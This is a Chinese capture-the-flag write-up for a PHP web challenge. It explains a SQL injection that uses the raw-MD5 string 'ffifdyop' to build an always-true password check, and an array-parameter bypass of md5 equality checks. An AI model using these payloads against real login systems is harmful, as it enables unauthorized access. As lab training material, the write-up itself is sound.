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审题审题

Hint: select * from ‘admin’ where password=md5($pass,true)

考察注入

md5语法语法

md5(string,raw)

参数参数 描述描述

string 必需。规定要计算的字符串。

raw 可选。规定十六进制或二进制输出格式： TRUE - 原始 16 字符二进制格式 FALSE - 默认。32 字符十六进制数

md5(‘abcd’, true); ��qLG’��$�.​3

echo md5(‘abcd’, false); e2fc714c4727ee9395f324cd2e7f331f
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md5技术细节技术细节

md5() 函数计算字符串的 MD5 散列。

md5() 函数使用 RSA 数据安全，包括 MD5 报文摘要算法。

md5() 函数不能处理数组，数组都返回 null，md5(a[]) 结果为 null。

返回值：返回值： 如果成功则返回已计算的如果成功则返回已计算的  MD5 散列，如果失败则返回散列，如果失败则返回  FALSE。。

PHP 版本： 4+

更新日志： 在 PHP 5.0 中，raw 参数变成可选的。

md5(‘abcd’, true); ==> ��qLG’��$�.​3

可否构造出’ or 这样的结构？

答案是可以的，需要自己去遍历然后筛选结果

#太赖了，writeup找到的
php > echo md5('ffifdyop', true);
'or'6]!r,b

#构造后
select * from 'admin' where password=''or'6]!r,b'
等价于：

select * from 'admin' where password='' or True
#来自https://blog.csdn.net/qq_45521281/article/details/105848249
在mysql里面，在用作布尔型判断时，以1开头的字符串会被当做整型数（这类似于PHP的弱类型）。要注意的是这种情况是必须要有单引号括起
来的，比如password=‘xxx’ or ‘1xxxxxxxxx’，那么就相当于password=‘xxx’ or 1 ，也就相当于password=‘xxx’ or true，所以返
回值就是true。这里不只是1开头，只要是数字开头都是可以的。
当然如果只有数字的话，就不需要单引号，比如password=‘xxx’ or 1，那么返回值也是true。（xxx指代任意字符）

第二个关卡第二个关卡





传两个参满足条件即可：

if($a != $b && md5($a) == md5($b))

上文有讲到

md5() 函数不能处理数组，数组都返回 null，md5(a[]) 结果为 null。

不用找MD5碰撞了，直接绕过就好了

?a[]=1&b[]=2



好家伙，简直套娃



if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
#===比较两个变量的值和类型；==比较两个变量的值，不比较数据类型

同样的套路，再来一次即可得到flag

搞错了，再来
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